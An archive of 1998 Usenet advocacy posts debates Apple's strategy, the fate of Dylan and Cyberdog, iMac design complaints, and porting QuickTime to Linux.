>http://myrddin.gwydion.cs.cmu.edu/dylan-release/docs/htdocs/
>copyright.html
>
Does it run under MacOS?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 29 Oct 1998 23:07:47 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <71aovk$nie$1@pascal.a2000.nl>
References: <F1Lo80.C3u@T-FCN.Net> <B25DFC6A-64211@206.165.43.81>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
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In article <B25DFC6A-64211@206.165.43.81> , "Lawson English"
<english@primenet.com> wrote:
>(recall that a Netscape
>OpenDoc-Cyberdog part was in the works and a beta version of it even
>appeared in a Browserwatch profile at one point).
Wasn't that a hoax? I don't have the information to support that any longer
though..
Pascal.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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References: <71aovh$hkc@newsb.netnews.att.com>
Message-ID: <OX9_1.12070$yb5.8700168@news.rdc1.sdca.home.com>
Date: Fri, 30 Oct 1998 02:58:54 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 18:58:54 PDT
Organization: @Home Network
In <71aovh$hkc@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
[snip Hardware .vs. Software .vs. Fold cases]
> What is the Think Different way ?
>
>
Apple is BOTH hardware and software AND sits at the NeXus of technology
creation. Apple is products. Owning both sides of the ART enables them to
create product (ie. wealth). There is NO business case strong enough to
empower one side of Apple surviving at the expense of the other. Apple is a
biological organism which lives and breathes product. One part brain
<software>, one part body<hardware> ± Apple can create the future where
others can only enhance the present.
<eXample>
Apple should have a new Apple product on the shelves for Xmas. An MP3
concentrator, networked to the <whatelse> Internet connecting your
<favorite> stereo and your <favorite> storage device. Software
applications? A spiffy WebObjects framework for 3rd party developers to
leverage content into people's homes would start the DeveloperEngine.
</eXample>
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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References: <71aovh$hkc@newsb.netnews.att.com>
Message-ID: <o0a_1.12071$yb5.8700168@news.rdc1.sdca.home.com>
Date: Fri, 30 Oct 1998 03:03:48 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 19:03:48 PDT
Organization: @Home Network
In <71aovh$hkc@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
> Others want Apple to be a hardware company -- sell Linux,
> free up MacOS X Server, etc., and try to sell as many boxes
> as possible.
>
>
The Volkswagon theory of marketing... took 30 years out of VW before they
could comeback to the market with premium priced product. Just now VW is
enjoying a new market opportunity albeit with different branding ie. Audi,
RollsRoyce, etc...
Not a good idea...
-r
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 18:44:52 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25E6829-2331A@206.165.43.6>
References: <71aovk$nie$1@pascal.a2000.nl>
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Pascal Haakmat <ahaakmat@cable.a2000.nl> said:
>In article <B25DFC6A-64211@206.165.43.81> , "Lawson English"
><english@primenet.com> wrote:
>
>>(recall that a Netscape
>>OpenDoc-Cyberdog part was in the works and a beta version of it even
>>appeared in a Browserwatch profile at one point).
>
>
>Wasn't that a hoax? I don't have the information to support that any
longer
>though..
>
Might have been.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Dilemma
Date: 29 Oct 1998 22:07:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71aovh$hkc@newsb.netnews.att.com>
Originator: gupta@tlctest
Some people say that Apple should become a software company.
Apple should slowly migrate to generic Intel hardware, or
license out at very low price the PowerPC hardware, and
concentrate on producing software -- OSes, and middleware
and maybe even applications. One strong argument is that
hardware is a commodity, with strong downward price pressure,
is hard to have reasonable margins, etc.
Others want Apple to be a hardware company -- sell Linux,
free up MacOS X Server, etc., and try to sell as many boxes
as possible. The argument here is that the free source movement
will make the OS, browsers, Web servers, etc. into freeware,
there can't be a lot of money in that. As it is, most of
Apple's revenue comes from hardware. What Apple lacks is
development support; freeing up source code and/or binaries
will bring developers in.
(There is also a third way -- proposed by rabid Wintel advocates --
that Apple should simply close shop.)
What is the Think Different way ?
-arun gupta
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 30 Oct 1998 02:19:35 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <71b7nn$9ei$8@blue.hex.net>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu> <cdoutyF1LxoL.Cwv@netcom.com>
NNTP-Posting-Date: 30 Oct 1998 02:19:35 GMT
On Thu, 29 Oct 1998 21:14:45 GMT, Chris Douty <cdouty@netcom.com> wrote:
>In article <71aafv$7sg$1@hole.sdsu.edu>,
>tomlinson <etomlins@rohan.sdsu.edu> wrote:
>>Maury Markowitz (maury@remove_this.istar.ca) wrote:
>>
>>: This is old news. Is this supposed to be some sort of point?
>>
>>This: you say that Apple should cut unprofitable development. Well
>>and good--but Apple doesn't _just_ cut costs. They make it impossible
>>for _anyone else_ to assume the burden of continuing development on the
>>projects cut.
>>
>>The same story with Apple Cambridge and Dylan: Apple razes the division
>>and makes it well-nigh impossible for Harlequin or anyone else to continue
>>work in Dylan. Where was the cost to Apple in releasing full information
>>on their _cancelled_ Dylan development enviroment?
>
>The cost is unknown. Apple would be totally abrogating their fiduciary
>duty by releasing an Apple-developed ultra-high-technology like Dylan
>where it could be used by a competitor. I hate to see technology get
>suppressed for any reason, but Apple Inc. owns the rights to do whatever
>they want with Dylan. Certainly the implementation is theirs to do with
>as they please.
Hmmm... I haven't heard that much to indicate that Dylan is all that
much more than a fairly modern Lisp.
Attributing to that the property of "ultra-high-technology" seems like a
bit of a reach to me.
>Now certain companies, like IBM and Digital, have released instruction
>schedulers to the egcs project or released java technologies to the Linux
>community. Why? The companies hope to generate good will amoung the
>Open Source movement and incidentally get faster programs for their
>computers. That is a clear business case. Neither IBM nor Digital make
>a _lot_ of money from compilers and may still have some tricks they held
>back for their commercial products. They get a clear benefit for little
>risk.
>
>If Apple released all of the Dylan project into the public domain or GPL,
>or whatever then anyone could develop a product out of it. This include
>Microsoft making a Windows-only Dylan-like thing. Apple might get a
>little bit of good will from the CS academia and Open Source communities,
>but solid Linux on PowerMac hardware support will get them more milage.
I don't see there being a substantial difference between:
a) Supporting R&D surrounding Mach/MkLinux porting efforts associated
with Open Source (tm), and
b) Supporting R&D surrounding a Lisp-based scripting language.
Releasing Dylan under the GPL would be a most interesting idea; a trojan
horse of sorts against Microsoft. Were Microsoft (or any company other
than Apple) to build anything out of it, Microsoft would be *required*
to release any and all corresponding source code. Microsoft? Releasing
source code? I'd love to see *that* day...
>Apple is a for-profit corporation. They do not do things out of the
>goodness of their heart because the have no heart. Apple spent tons of
>money on R&D while their business was going down the tubes. Most of that
>work never saw the light of day either. There was no business case to
>release the research for anyone's use and plenty of reason not to.
Acquiring goodwill from communities that might be supportive may be of
not negligible value...
--
"I once went to a shrink. He told me to speak freely. I did. The damn
fool tried to charge me $90 an hour." -- jimjr@qis.net (Jim Moore Jr)
cbbrowne@ntlug.org- <http//www.hex.net/~cbbrowne/lsf.html>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: nirs@actcom.co.il (Nir Soffer)
Subject: Re: A computer is not like a car.
Message-ID: <nirs-3010980409350001@p25.ta5.actcom.co.il>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <V2fZSHiA#GA.191@rejz.ij.net> <asiufy-2810980901440001@200.229.243.89>
6mM!K_ZKBogB120_KQlftZng^I7$tl=QnY!X~M.!d0UdRhlcH'4d,(`wnu(n9d,&y\c-
;#4hJ;vJ3v^pO"yVBL)QPN4~X
Date: Fri, 30 Oct 1998 02:09:34 GMT
The only way to use the Recycle Bin properly, is not to use it at all, and
put your trash into a standard folder on the desktop, then delete file
form it from time to time.
Nir Soffer
Multimedia Productions
Email: nirs@actcom.co.il
Voice: 972-3-7325378
Fax: 972-3-5719682
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 18:41:39 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25E6766-2055A@206.165.43.6>
References: <F1Ly6u.KAq@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
> At ANY time did Apple state they would be releasing Dylan, selling the
>rights to CD, or keeping the CD site alive forever? No? I guess you're
>making another unsubstantiated hyberbolic statement then.
At one time, a vice-president of Apple, in a conference call, DID say that
Apple would be willing to give Kantara a license for custodian-ship of
Cyberdog. After a year of good-faith negotiations, the NEW VP of Developer
Relations informed Kantara that Cyberdog wasn't a negotiatable item.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 18:44:17 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25E6804-22A70@206.165.43.6>
References: <F1LyFL.KK2@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
>
> And in this sentance you invalidate your entire argument, as the only
>part that made it to any release quality was the IE part. If this had
>anything to do with Gates, then he was killing his own product.
???
There is NO OpenDoc part for Internet Explorer. There is "Blake," an
OpenDoc part that interfaces with the IE ActiveX component and allows one
to use IE within Cyberdog. That's a Kantara product, BTW.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Sung Ho Kim" <sk68@cornell.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 30 Oct 1998 03:19:13 GMT
Organization: Cornell University
Sender: sk68@cornell.edu (Verified)
Message-ID: <01be03b4$8df394e0$4566ec84@bigred.cit.cornell.edu>
References: <71aovh$hkc@newsb.netnews.att.com> <o0a_1.12071$yb5.8700168@news.rdc1.sdca.home.com>
> Rex Riley <rr6013@yahoo.com> wrote:
>
> The Volkswagon theory of marketing... took 30 years out of VW before
they
> could comeback to the market with premium priced product. Just now VW is
Ummm...VW never had a premium priced product 30 years ago. Furthermore, I
don't think anyone would buy a Audi or RollsRoyce if they knew it was
really a VW. This is the reason VW desperately needed (and eventually got)
the right to use the RollsRoyce name from Vickers PLC (I think that's
right)---without that, no Silver Spurs or Seraphs would ever see the light
of day...
> enjoying a new market opportunity albeit with different branding ie.
Audi,
> RollsRoyce, etc...
>
> Not a good idea...
>
> -r
>
>
From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Shutting down NT
Date: 29 Oct 1998 23:34:21 GMT
Organization: Napa Valley College
Message-ID: <71au1t$juf$1@pornstorm.geo.net>
References: <01be029c$b0c77d10$06387880@chewy>
In article <01be029c$b0c77d10$06387880@chewy>,
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>What is particularly interesting about this article at *Apple's* web
>site is that it is essentially promoting *Linux* for the Mac hardware.
Yah, but this is total BS:
"I was feeling forced to buy an Intel-based server to work with Linux,
even though it was going to be painful to spend $6000 or more on an
Intel-based system."
What the hell were they smoking? You can build an awfully nice (i.e.,
*with* UW SCSI) dual PII server for $2000. Much cheaper than any Mac
hardware goes for.
--
Chris Osborn, Chief Operations Officer T3West/WebCow!
707 255 9330 x225 - Voice 1804 Soscol Ave, #203
707 224 9916 - Fax Napa, CA 94559
<fozztexx@t3west.com> <http://t3west.com/>
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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References: <71aovh$hkc@newsb.netnews.att.com> <o0a_1.12071$yb5.8700168@news.rdc1.sdca.home.com>
<01be03b4$8df394e0$4566ec84@bigred.cit.cornell.edu>
Message-ID: <J1b_1.12079$yb5.8700168@news.rdc1.sdca.home.com>
Date: Fri, 30 Oct 1998 04:13:29 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 20:13:29 PDT
Organization: @Home Network
In <01be03b4$8df394e0$4566ec84@bigred.cit.cornell.edu> "Sung Ho Kim" wrote:
>
>
> > Rex Riley <rr6013@yahoo.com> wrote:
> >
> > The Volkswagon theory of marketing... took 30 years out of VW before
> they
> > could comeback to the market with premium priced product. Just now VW
is
>
>
> Ummm...VW never had a premium priced product 30 years ago.
>
>
Carmen Ghia was as close as VW got to that... say, wasn't VW the car for the
rest of us? Maybe you're right. Wholesale Apples as commodity appliances -
one for every room in the house. To Hell with all this unix waste of time,
servers and WebObjects stuff. Kick out those Apple appliances like toasters
to given away with each ISP account opened.
SignUP with AOL get an iMac for $999... savings begin immediately with AOL!
That'd save ole Bill's ass, wouldn't it?
--r
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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References: <71aovh$hkc@newsb.netnews.att.com>
Message-ID: <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
Date: Fri, 30 Oct 1998 02:41:44 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 18:41:44 PDT
Organization: @Home Network
In <71aovh$hkc@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
> Some people say that Apple should become a software company.
> Apple should slowly migrate to generic Intel hardware, or
> license out at very low price the PowerPC hardware, and
> concentrate on producing software ...
[snip rest of argument]
>
> What is the Think Different way ?
>
>
<ThoughtCap ON, mode="differeNT ">
The answer suggested is not Hardware .vs. Software but questions the
existence of a different Apple.
Expect the "same" Apple stumbling through good fortunes, early
opportunities and ignored superior technologies. Rhapsody has been blown
into a $400 million, 2 yr. PregnantPause when it could have been crafted
into an NTkiller strategy by now. The best Rhapsody expectation now? At
best a better Macintosh. And. Apple is scared to death of killing that
GoldenGoose to wit: MacOS X server delay.
We are not seeing leadership from Apple yet. Until signs exists of
deliberate, non-defensive Apple tactics, Confidence eludes Cupertino.
<ThoughtCap OFF, mode="ambivalent">
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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References: <71aovh$hkc@newsb.netnews.att.com>
Message-ID: <mba_1.12073$yb5.8700168@news.rdc1.sdca.home.com>
Date: Fri, 30 Oct 1998 03:15:30 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 19:15:30 PDT
Organization: @Home Network
In <71aovh$hkc@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
> What is the Think Different way ?
>
>
Try reinventing the past... ala taking OmniWeb software canning it into a
portable tablet (8x14 kind) write API's for the broadcast industry to
transmit w/HDTV. Now viewers can have <instant> web browsing as they watch
TV via IrDA URL's thanks to Apple. OK sure, I'd release this stuff on
Rhapsody first. I haven't seen MacOS X yet :-)
Apple can sell single utility embedded consumer product, software
infrastructure API's and license Backend System technologies to make it all
work <automagically>.
-r
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac design flaw (Was Re: YB developer's lost revenues
Date: Fri, 30 Oct 1998 01:22:13 -0500
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Organization: EarthLink Network, Inc.
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Message-ID: <mteh-ya02408000R3010980122130001@news.earthlink.net>
In article <B25E6B5C-2F37C@206.165.43.6>, "Lawson English"
<english@primenet.com> wrote:
>Maury Markowitz <maury@remove_this.istar.ca> said:
>
>>In <B25DFF0D-6E0A6@206.165.43.81> "Lawson English" wrote:
>>> The iMac has holes in its head that a first grader can fit the tip of a
>>> crayon into and it is being targeted at the K-12 market.
>>
>> Every computer built can be hurt or destroyed by placing staples in the
>>CD tray. Many of them are targetted at K12 as well.
>>
>> Not enough said, too much stuff said. Another pointless Apple-bash.
>
>Staples are not something that a K-3 student would normally be carrying
>without supervision.
A mis-inserted CD or a little extra weight on that tray could be bad too.
>
>Pocket-lint, pebbles, sand, crayon fragments, Chicklets, broken erasers,
>small paperclips -anything smaller than 1/2 an M&M- THOSE are all things
>that little kids carry.
This is an interesting point. I have noticed, though, that virtually
all computers have vent holes (especially on the monitor and sides/back of
the case) and that the keyboards are uniformly vulnerable.
Has anyone in Elementary Ed actually found a problem with kids sticking
stuff in computers? It seems like a potential problem, but I've never
heard much about this issue. (They could get quite a shock!) Or perhaps
they have been using those "keyboard membrane" thingies?
>
>And you consider this an Apple BASH? How about a warning and complaint,
>instead?
>
>The original iMac case is NOT suitable for the target market and any K-3
>computer tech will tell you this.
Would a fine grille over or behind the vents be better? I suppose even
that could allow "grating" of crayons into the interior?
>
>And it is a trivial thing to fix, but they haven't yet, that I have heard.
>The more iMacs that are sold in the educational marekt without addressing
>this issue, the more bad feelings Apple will deal with down the road.
>
>And let's not forget the kool problem with the vibrating CD-ROM drive. If
>you have one of these, the flash-ROM fix for it disables the safety-lock on
>the CD-ROM drive, allowing one to open the CD-ROM while the drive is in
>use, or so a techie has told me.
No, this is untrue! (just tested it out)
>
>The Rev-B iMacs may have addressed these issues. Anyone know?
The Rev-B iMac is externally indistinguishable from the original.
Meanwhile, the CD-ROM update is not pre-installed, as far as we have been
able to tell (Apple's own note on this issue states that not all iMacs need
the update, just ones which have had vibration problems).
--
oms
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: Fri, 30 Oct 1998 01:32:57 -0500
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In article <slrn73hmck.rc.jason@jhste1.dyn.ml.org>, jason@jhste1.dyn.ml.org
(Jason S.) wrote:
>Lance Togar posted the following to comp.sys.mac.advocacy:
>
>>>> >3. port Quicktime, etc to Linux
>
>>>> Much work.
>
>>>Why, exactly?
>
>>Reasonable performace requires direct access to the hardware. A no-no for
>>servers. I'll save you some time by pointing out that MS shouldn't have done
>>this with NT 4 either. OTH, NT has been around long enough for some of the
>>bugs to be worked out.
>
>I take it that you never use XFree86, then?
I don't see why it should be such a problem. Presumably Mac OS X Server
(and the final OS X) will be running on a full hardware abstraction layer.
What good would OS X Server be on the whole without QuickTime, anyway?
>
>--
>"...and a more offensive spectacle I cannot recall."
> -- Newman
--
oms
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UNIX outpaces NT
Date: Thu, 29 Oct 1998 02:59:31 -0500
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Message-ID: <71brmc$g02$1@fir.prod.itd.earthlink.net>
rr6013@yahoo.com (Rex Riley) wrote:
>Unlike, Sony which Jobs portends Apple wants to be... Sony knows
>standards sell and just builds the best hardware.
You've got to be joking!
No one plays the standards game like Sony. I guess you don't remember Sony's
relentless efforts to set its own standard in pro digital audio, HDTV, 3/4",
Betacam, DVD ENG, etc. You don't see Sony selling MII VTRs instead of Betacam do
you?
Ziya Oz
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: Fri, 30 Oct 1998 13:30:25 +0000
Organization: Cadence Design System, Inc.
Message-ID: <3639BF71.C6E373DE@cadence.com>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3638135F.8F1ED4D5@ncal.verio.com> <3638297D.48D29D58@nstar.net>
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Michael J. Peck wrote:
> That's because most people misunderstand the licensing situation.
> Unfortunately, most of the misinformation is provided courtesy of your
> friends at the Free Software Foundation. It is in their interest to cast
> Linux as a GNU/GPL phenomenon. That's nothing more than spin.
I've never heard any 'spin' from them, except the perfectly reasonable
comment that a large percentage of most Linux distributions is the GNU
utilities, and the somewhat less reasonable demand that they be given
credit.
Linus believes that adopting the GPL was a significant contribution to
Linux's success.
Simon
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net> <36382662.E5727033@nstar.net> <3638a602.0@news.together.net> <slrn73hmck.rc.jason@jhste1.dyn.ml.org>
Subject: Re: Linux availibility for the Mac.
Date: Fri, 30 Oct 1998 09:16:07 -0500
Message-ID: <3639c836.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Jason S. wrote in message ...
>Lance Togar posted the following to comp.sys.mac.advocacy:
>
>>>> >3. port Quicktime, etc to Linux
>
>>>> Much work.
>
>>>Why, exactly?
>
>>Reasonable performace requires direct access to the hardware. A no-no for
>>servers. I'll save you some time by pointing out that MS shouldn't have
done
>>this with NT 4 either. OTH, NT has been around long enough for some of the
>>bugs to be worked out.
>
>I take it that you never use XFree86, then?
..
You'd be wrong. Star Office too. Both aren't in the same ballpark as their
MS/Apple counterparts.
..
..
From: asena@earthlink.net (Adam Sena)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 09:18:33 -0500
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net>
Organization: EarthLink Network, Inc.
Message-ID: <asena-3010980918330001@ip65.an5-new-york4.ny.pub-ip.psi.net>
In article <70e29s$arc$1@strato.ultra.net>, "WaldoTim"
<waldotim@yahoo.com> wrote:
>Joe Ragosta wrote in message ...
>>In article <01bdf462$dcd104a0$42d89a8e@zeus>, "Dude"
>><jonny_36@hotmail.com> wrote:
>>
>>> Sorry dude but it wasn't Apple that came up with the Windows Gui it was
>>> Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
>>> concept from Apple.
>>
>>Check your facts. You'll find that Apple paid for what they got from Xerox.
>
>
> I'm almost certain you're wrong here. Please quote a source for this
>information. I've been in and around this argument for a decade and a
>half and this is the very first time I've heard *this* particular version.
>:)
>
>Thanks,
>
>-Tim
You're both wrong, (I think), but I can't quote a source, I am going on
memory. Xerox did gave a graphical GUI but held no patent on it. So Apple
used it and patented it quite legally. When Microsoft starting using a
GUI, Apple of course went through all sorts of legal hassles with them,
and recently settled for an undisclosed sum. But please take this as a
grain of salt, because I am working on memory, and am not trying to
portray this a actual truth, but I think I am generally correct in this.
-Adam
--
|-------------------------------------|
| Adam Sena |
| New York, NY 10024 |
|-------------------------------------|
| asena@earthlink.net |
| http://home.earthlink.net/~asena/ |
|-------------------------------------|
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: About Linux, and OS-X
Date: Fri, 30 Oct 1998 11:58:28 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <363A1A59.59EA8CC8@ncal.verio.com>
References: <x7r9vrjkyo.fsf@loathe.com>
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Matt Evans wrote:
>
> Apple should release all of the code for OS4.2s window server
This might annoy Adobe just a teeny bit. They hold copyright over some of
that code.
> and the AppKit, and all the GUI things that make NS/OS what they are.
>
> Then the Linux community should take that code, spend 2 weeks, and get it all
> running perfectly on Linux.
Two weeks, huh? If you can actually organize a project of this scope and see
it through to completion in two weeks, I believe I can find a very nice
position for you.
Good grief...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: iMac design flaw (Was Re: YB developer's lost revenues
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Organization: needs one
References: <F1Ly9M.KDL@T-FCN.Net> <B25E6B5C-2F37C@206.165.43.6>
Mime-Version: 1.0
Date: Fri, 30 Oct 1998 15:17:52 GMT
In <B25E6B5C-2F37C@206.165.43.6> "Lawson English" wrote:
> > Every computer built can be hurt or destroyed by placing staples in the
> >CD tray. Many of them are targetted at K12 as well.
> >
> > Not enough said, too much stuff said. Another pointless Apple-bash.
>
> Staples are not something that a K-3 student would normally be carrying
> without supervision.
Har! I say "K-12" and you redefine to "K-3" to further this pointless
thread! I give up, I'm ending this one.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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Organization: needs one
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81>
<F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu>
<cdoutyF1LxoL.Cwv@netcom.com> <71b7nn$9ei$8@blue.hex.net>
Mime-Version: 1.0
Date: Fri, 30 Oct 1998 15:29:01 GMT
In <71b7nn$9ei$8@blue.hex.net> Christopher Browne wrote:
> Hmmm... I haven't heard that much to indicate that Dylan is all that
> much more than a fairly modern Lisp.
>
> Attributing to that the property of "ultra-high-technology" seems like a
> bit of a reach to me.
I actually used Dylan, after all you could buy it for $20 at WWDC a few
years back. It was essentially OpenStep without any good objects or
persistant objects, which of course are what makes OpenStep worth using.
As with all of the other class libs out there, Dylan based it's libraries
about the already outdated MacOS features like TextEdit. It did have
programming advantages, no doubt there, but overall this was going to do
little for Appleand was IMHO wasted effort. It Apple was truely interested
in dynamic programming, they could have simply put their name on any of the
good SmallTalk enviornments out there and said it was the next big thing.
It's facinating to see Dylan come up actually. Dylan essentially offered
nothing that other products hadn't for some time before, did no advance the
state of the art of the API's for the Mac at all that I could see, offered
no solutions to the real problems developers have to face (like sharing
data for instance, or providing a rich text editing system), was slow,
didn't run on the PPC's well (at all, I tried it on a /120 and it basically
was unusable). This is simply another example of something that was
blasted at the time as another example of NIH being turned into something
good because of IPTJAC - Invented Prior To Jobs And Cancelled.
> Releasing Dylan under the GPL would be a most interesting idea; a trojan
> horse of sorts against Microsoft. Were Microsoft (or any company other
> than Apple) to build anything out of it, Microsoft would be *required*
> to release any and all corresponding source code. Microsoft? Releasing
> source code? I'd love to see *that* day...
This seems to ignore the point that no one would use it. Mac developers
seem to refuse to look at OpenStep, which is a far more powerful system, so
why would they look at Dylan? Dylan was coming out on the tail of the era
where Apple would announce something and developers would flock to it -
thus the comments about it at the time. However those days are over, and
now when Apple provides something that actually is worth using, no one
believes them.
I get the feeling I'm the only one here that tried it. Did anyone else
in this thread actually USE the product?
> Acquiring goodwill from communities that might be supportive may be of
> not negligible value...
Agreed, but they have to pick their fights. Is a computer language a
good thing to fight over?
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: 30 Oct 1998 17:08:51 GMT
Organization: I don't think so
Message-ID: <slrn73jt5b.5po.jason@jhste1.dyn.ml.org>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net> <36382662.E5727033@nstar.net> <3638a602.0@news.together.net> <slrn73hmck.rc.jason@jhste1.dyn.ml.org> <3639c836.0@news.together.net>
Lance Togar posted the following to comp.sys.mac.advocacy:
>>>>> >3. port Quicktime, etc to Linux
>>>>> Much work.
>>>>Why, exactly?
>>>Reasonable performace requires direct access to the hardware. A no-no for
>>>servers. I'll save you some time by pointing out that MS shouldn't have
>done
>>>this with NT 4 either. OTH, NT has been around long enough for some of the
>>>bugs to be worked out.
>>I take it that you never use XFree86, then?
>You'd be wrong. Star Office too. Both aren't in the same ballpark as their
>MS/Apple counterparts.
What does StarOffice have to go with going directly to hardware?
--
